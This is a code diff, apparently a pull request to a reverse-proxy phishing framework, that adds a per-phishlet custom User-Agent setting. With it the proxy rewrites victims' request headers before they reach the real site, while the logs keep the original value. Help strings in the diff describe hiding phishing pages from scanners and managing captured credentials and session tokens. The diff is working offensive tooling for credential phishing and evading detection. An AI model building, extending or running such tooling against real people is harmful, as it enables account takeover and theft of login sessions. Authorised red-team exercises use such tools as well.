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New Feature: Set Custom User-Agent for Phishlets #1115

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New Feature: Set Custom User-Agent for Phishlets #1115

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31 changes: 31 additions & 0 deletions core/config.go
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Original file line number Diff line number Diff line change
Expand Up @@ -41,6 +41,7 @@ type PhishletConfig struct {
UnauthUrl string `mapstructure:"unauth_url" json:"unauth_url" yaml:"unauth_url"`
Enabled bool `mapstructure:"enabled" json:"enabled" yaml:"enabled"`
Visible bool `mapstructure:"visible" json:"visible" yaml:"visible"`
CustomUA string `mapstructure:"custom_ua" json:"custom_ua" yaml:"custom_ua"`
}

type ProxyConfig struct {
Expand Down Expand Up @@ -199,6 +200,7 @@ func (c *Config) PhishletConfig(site string) *PhishletConfig {
o := &PhishletConfig{
Hostname: "",
UnauthUrl: "",
CustomUA: "",
Enabled: false,
Visible: true,
}
Expand Down Expand Up @@ -259,6 +261,28 @@ func (c *Config) SetSiteUnauthUrl(site string, _url string) bool {
return true
}

func (c *Config) SetSiteCustomUa(site string, custom_ua string) bool {
pl, err := c.GetPhishlet(site)
if err != nil {
log.Error("%v", err)
return false
}
if pl.isTemplate {
log.Error("phishlet is a template - can't set custom user-agent")
return false
}
if custom_ua != "" {
if len(custom_ua) > 256 {
log.Error("user-agent string is too long")
return false
}
}
log.Info("phishlet '%s' custom_ua set to: %s", site, custom_ua)
c.PhishletConfig(site).CustomUA = custom_ua
c.SavePhishlets()
return true
}

func (c *Config) SetBaseDomain(domain string) {
c.general.Domain = domain
c.cfg.Set(CFG_GENERAL, c.general)
Expand Down Expand Up @@ -780,6 +804,13 @@ func (c *Config) GetSiteUnauthUrl(site string) (string, bool) {
return "", false
}

func (c *Config) GetSiteCustomUa(site string) (string, bool) {
if o, ok := c.phishletConfig[site]; ok {
return o.CustomUA, ok
}
return "", false
}

func (c *Config) GetBaseDomain() string {
return c.general.Domain
}
Expand Down
13 changes: 12 additions & 1 deletion core/http_proxy.go
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Original file line number Diff line number Diff line change
Expand Up @@ -179,6 +179,17 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}

// inject custom user-agent if set
plet := p.getPhishletByPhishHost(req.Host)
originalUA := req.Header.Get("User-Agent")
if plet != nil {
customUA, ok := p.cfg.GetSiteCustomUa(plet.Name)
if ok && customUA != "" {
req.Header.Set("User-Agent", customUA)
log.Debug("Injected custom User-Agent for phishlet '%s': %s", plet.Name, customUA)
}
}

if p.cfg.GetBlacklistMode() != "off" {
if p.bl.IsBlacklisted(from_ip) {
if p.bl.IsVerbose() {
Expand Down Expand Up @@ -397,7 +408,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da

sid := p.last_sid
p.last_sid += 1
log.Important("[%d] [%s] new visitor has arrived: %s (%s)", sid, hiblue.Sprint(pl_name), req.Header.Get("User-Agent"), remote_addr)
log.Important("[%d] [%s] new visitor has arrived: %s (%s)", sid, hiblue.Sprint(pl_name), originalUA, remote_addr)
log.Info("[%d] [%s] landing URL: %s", sid, hiblue.Sprint(pl_name), req_url)
p.sessions[session.Id] = session
p.sids[session.Id] = sid
Expand Down
20 changes: 15 additions & 5 deletions core/terminal.go
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Original file line number Diff line number Diff line change
Expand Up @@ -693,6 +693,13 @@ func (t *Terminal) handlePhishlets(args []string) error {
}
t.cfg.SetSiteUnauthUrl(args[1], args[2])
return nil
case "custom_ua":
_, err := t.cfg.GetPhishlet(args[1])
if err != nil {
return err
}
t.cfg.SetSiteCustomUa(args[1], args[2])
return nil
}
}
return fmt.Errorf("invalid syntax: %s", args)
Expand Down Expand Up @@ -1190,7 +1197,8 @@ func (t *Terminal) createHelp() {
readline.PcItem("hostname", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("enable", readline.PcItemDynamic(t.phishletPrefixCompleter)),
readline.PcItem("disable", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("hide", readline.PcItemDynamic(t.phishletPrefixCompleter)),
readline.PcItem("unhide", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-hosts", readline.PcItemDynamic(t.phishletPrefixCompleter)),
readline.PcItem("unauth_url", readline.PcItemDynamic(t.phishletPrefixCompleter))))
readline.PcItem("unauth_url", readline.PcItemDynamic(t.phishletPrefixCompleter)),
readline.PcItem("custom_ua", readline.PcItemDynamic(t.phishletPrefixCompleter))))
h.AddSubCommand("phishlets", nil, "", "show status of all available phishlets")
h.AddSubCommand("phishlets", nil, "<phishlet>", "show details of a specific phishlets")
h.AddSubCommand("phishlets", []string{"create"}, "create <phishlet> <child_name> <key1=value1> <key2=value2>", "create child phishlet from a template phishlet with custom parameters")
Expand All @@ -1202,6 +1210,7 @@ func (t *Terminal) createHelp() {
h.AddSubCommand("phishlets", []string{"hide"}, "hide <phishlet>", "hides the phishing page, logging and redirecting all requests to it (good for avoiding scanners when sending out phishing links)")
h.AddSubCommand("phishlets", []string{"unhide"}, "unhide <phishlet>", "makes the phishing page available and reachable from the outside")
h.AddSubCommand("phishlets", []string{"get-hosts"}, "get-hosts <phishlet>", "generates entries for hosts file in order to use localhost for testing")
h.AddSubCommand("phishlets", []string{"custom_ua"}, "custom_ua <phishlet> \"<ua>\"", "set custom user-agent for the current phishlet. note: wrap it in quotes")

h.AddCommand("sessions", "general", "manage sessions and captured tokens with credentials", "Shows all captured credentials and authentication tokens. Allows to view full history of visits and delete logged sessions.", LAYER_TOP,
readline.PcItem("sessions", readline.PcItem("delete", readline.PcItem("all"))))
Expand Down Expand Up @@ -1357,7 +1366,7 @@ func (t *Terminal) sprintPhishletStatus(site string) string {
higray := color.New(color.FgWhite)
logray := color.New(color.FgHiBlack)
n := 0
cols := []string{"phishlet", "status", "visibility", "hostname", "unauth_url"}
cols := []string{"phishlet", "status", "visibility", "hostname", "unauth_url", "custom_ua"}
var rows [][]string

var pnames []string
Expand Down Expand Up @@ -1386,6 +1395,7 @@ func (t *Terminal) sprintPhishletStatus(site string) string {
}
domain, _ := t.cfg.GetSiteDomain(s)
unauth_url, _ := t.cfg.GetSiteUnauthUrl(s)
custom_ua, _ := t.cfg.GetSiteCustomUa(s)
n += 1

if s == site {
Expand All @@ -1400,11 +1410,11 @@ func (t *Terminal) sprintPhishletStatus(site string) string {
}
}

keys := []string{"phishlet", "parent", "status", "visibility", "hostname", "unauth_url", "params"}
vals := []string{hiblue.Sprint(s), blue.Sprint(pl.ParentName), status, hidden_status, cyan.Sprint(domain), logreen.Sprint(unauth_url), logray.Sprint(param_names)}
keys := []string{"phishlet", "parent", "status", "visibility", "hostname", "unauth_url", "params", "custom_ua"}
vals := []string{hiblue.Sprint(s), blue.Sprint(pl.ParentName), status, hidden_status, cyan.Sprint(domain), logreen.Sprint(unauth_url), logray.Sprint(param_names), logreen.Sprint(custom_ua)}
return AsRows(keys, vals)
} else if site == "" {
rows = append(rows, []string{hiblue.Sprint(s), status, hidden_status, cyan.Sprint(domain), logreen.Sprint(unauth_url)})
rows = append(rows, []string{hiblue.Sprint(s), status, hidden_status, cyan.Sprint(domain), logreen.Sprint(unauth_url), logreen.Sprint(custom_ua)})
}
}
}
Expand Down